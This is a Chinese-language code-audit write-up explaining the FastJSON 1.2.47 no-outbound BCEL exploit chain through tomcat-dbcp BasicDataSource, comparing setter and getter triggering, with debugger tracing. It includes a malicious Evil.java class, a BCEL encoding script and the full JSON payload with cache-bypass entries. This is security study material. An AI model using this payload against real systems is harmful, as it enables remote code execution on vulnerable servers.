如何通过BCEL链分析,对比setter与getter触发在FastJSON 1.2.47中的利用效果?

摘要:代码审计 | FastJSON 1.2.47 不出网利用 —— BCEL 链分析 | setter 与 getter 触发对比 环境:FastJSON 1.2.47JDK 8u65Tomcat 9.0.20IDEA 调试
代码审计 | FastJSON 1.2.47 不出网利用 —— BCEL 链分析 | setter 与 getter 触发对比 环境:FastJSON 1.2.47 / JDK 8u65 / Tomcat 9.0.20 / IDEA 调试 目录 前言 和 TemplatesImpl 链的区别 补充:FastJSON 的 getter/setter 扫描机制 环境准备 恶意类编写 字节码转换脚本 Payload 结构 调试跟踪 完整调用链总结 前言 上一篇 TemplatesImpl 链需要开启 SupportNonPublicField,因为 _bytecodes 这些字段是 private 的,FastJSON 默认碰不到,利用条件比较苛刻。 BCEL 链是针对这个问题的替代方案,用的全是 public 的 setter,不需要 SupportNonPublicField,利用条件宽松一些。 和 TemplatesImpl 链的区别 TemplatesImpl BCEL 是否需要 SupportNonPublicField ✅ 必须 ❌ 不需要 环境依赖 无 需要 Tomcat(tomcat-dbcp) 利用难度 条件苛刻 相对宽松 不需要 SupportNonPublicField 的原因很简单:BCEL 链用的全是 public 的 setter,setDriverClassName() 和 setDriverClassLoader() 都是公开方法,FastJSON 默认就能调到,不需要额外开 Feature。 代价就是依赖 Tomcat 环境,目标没有 tomcat-dbcp 依赖就打不了。 补充:FastJSON 的 getter/setter 扫描机制 在正式跟链之前,先把这个机制搞清楚,不然看 payload 会有很多疑问。 自动 getter 触发 FastJSON 反序列化完成之后,会主动扫描类里所有的方法,满足以下条件的 getter 会被自动调用,不需要在 JSON 里显式写对应字段: get 开头 ✅ 无参数 ✅ 返回值不是基本类型 ✅ 没有对应的 setter ✅ getConnection() 完美符合这四条,所以 payload 里根本不需要写 "connection" 字段,FastJSON 自己就会去调它。 举个对比例子,TemplatesImpl 链里的 payload 是这样的: 会触发 getOutputProperties(): 其实 _outputProperties 这个字段写不写都行,即使删掉了也依然能执行成功——因为 getOutputProperties() 同样满足自动扫描的条件,FastJSON 会自己触发它。 setter 触发 setter 的触发逻辑更直接,FastJSON 解析 JSON 字段的时候,对每一个 JSON 字段都会去找对应的 setter,找到了就调: JSON 里有 "driverClassName" → 找 setDriverClassName() → 调用 不需要任何特殊条件,但必须在 JSON 里显式写这个字段,FastJSON 不会主动扫描 setter。 扫描机制 setter getter 触发条件 JSON 里写了对应字段 FastJSON 主动扫描,无需写字段 限制 几乎没有 无参、无对应setter、返回非基本类型 典型例子 setDriverClassName() getConnection() 环境准备 pom.xml 加上 Tomcat 依赖: <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.20</version> </dependency> 恶意类编写 Evil.java 这次不需要继承 AbstractTranslet,简单很多: import java.io.IOException; public class Evil { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } } 保存为 Evil.java,然后编译: javac Evil.java 字节码转换脚本 得到 Evil.class 之后,需要把它转成 $$BCEL$$ 格式的字符串。 BCEL ClassLoader 有个特殊能力:能识别 $$BCEL$$ 开头的字符串,把后面的内容解码成字节码直接加载,整个过程在本地完成,不需要任何网络连接。 import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; public class BCELEncoder { public static void main(String[] args) throws Exception { JavaClass javaClass = Repository.lookupClass(Evil.class); String encoded = Utility.encode(javaClass.getBytes(), true); System.out.println("$$BCEL$$" + encoded); } } 跑完把输出的 $$BCEL$$... 字符串复制出来,填进 payload 的 driverClassName 字段。 Payload 结构 因为用的是 1.2.47 版本的 FastJSON,payload 比较长,但关键是 c 里的内容,a、b 都是为了写入缓存绕过检测机制(缓存绕过原理在上上篇已经详细分析过了): { "a": { "@type": "java.lang.Class", "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "b": { "@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "c": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$A$A..." } } 注意 driverClassLoader 里要套一层 @type,因为 setDriverClassLoader() 的方法签名是: setDriverClassLoader(final ClassLoader driverClassLoader) 参数类型是 ClassLoader 对象,不是 String 这种基本类型,FastJSON 必须先实例化一个对象才能传进去。如果只写 "driverClassLoader": {} 不带 @type,FastJSON 不知道要实例化什么类,传进去的就是 null,后面 Class.forName() 用 null ClassLoader 根本不认识 $$BCEL$$ 格式,链就断了。 对比一下规律: 参数是基本类型/String → 直接传值,不需要 @type 参数是对象类型 → 需要 @type 告诉 FastJSON 实例化什么类 效果: 调试跟踪 缓存绕过的步骤直接跳过,来到实例化调用 get 和 set 的部分。 初次不知道的情况下,直接把 driverClassName 和 driverClassLoader 的 set 和 get 全部打上断点,再分析代码。 setDriverClassLoader 先来到 setDriverClassLoader 方法: setDriverClassLoader(final ClassLoader driverClassLoader) 这里传入的是一个类对象,因此前面的 payload 里 driverClassLoader 必须用 @type 实例化一个类,不然不能正常运行。 可以看到传进来的参数 driverClassLoader: ClassLoader@852,是一个真实的 BCEL ClassLoader 实例,不是 null,赋值前 this.driverClassLoader 是 null,这行执行完就注入进去了。 setDriverClassName 接着来到 setDriverClassName: 把 $$BCEL$$... 字符串注入进去。 method.invoke 反射调用 接着看到了 method.invoke(object, value) 反射调用: 这就是 FastJSON setter 触发的底层实现,不是直接调 setDriverClassName(),而是通过反射调用,所以看到的是 method.invoke 而不是直接的方法调用。 getConnection setter 阶段完成后,FastJSON 自动扫描到 getConnection() 符合条件,主动触发: IS_SECURITY_ENABLED = false,直接走最后一行: return createDataSource().getConnection(); createDataSource → createConnectionFactory 进入 createDataSource(): 接着进入 createConnectionFactory(): 因为 driverClassName 不为空可以继续执行: 就是之前写的 $$BCEL$$$l$8b$I$A$A$A$A$A... Class.forName 触发 RCE 来到关键一行: driverFromCCL = Class.forName(driverClassName, true, driverClassLoader); 三个参数各司其职: Class.forName(driverClassName, true, driverClassLoader) // ↑ ↑ ↑ // $$BCEL$$...字符串 立即初始化 BCEL ClassLoader driverClassLoader → 指定用 BCEL ClassLoader 来加载,不用默认的 driverClassName → BCEL ClassLoader 识别到 $$BCEL$$ 开头,解码成字节码 true → 立即初始化这个类,也就是立即执行 static 块 第二个参数 true 是关键,类加载进来之后马上初始化,static 块里的 calc.exe 直接执行。如果是 false,类加载进来但不初始化,static 块不执行,就不会弹计算器了(当然实际代码里这个值是固定的)。 执行完后计算器弹出来了。 完整调用链总结 JSON.parseObject() → setDriverClassLoader() [BCEL ClassLoader 对象注入] → setDriverClassName() [$$BCEL$$...字符串注入] → getConnection() [FastJSON 自动扫描触发,无需写字段] → createDataSource() → createConnectionFactory() → Class.forName(driverClassName, true, driverClassLoader) → BCEL ClassLoader 识别 $$BCEL$$ 前缀 → Utility.decode() 解码成字节码 → defineClass() 加载进 JVM → 类初始化 → static 块执行 → 💥 RCE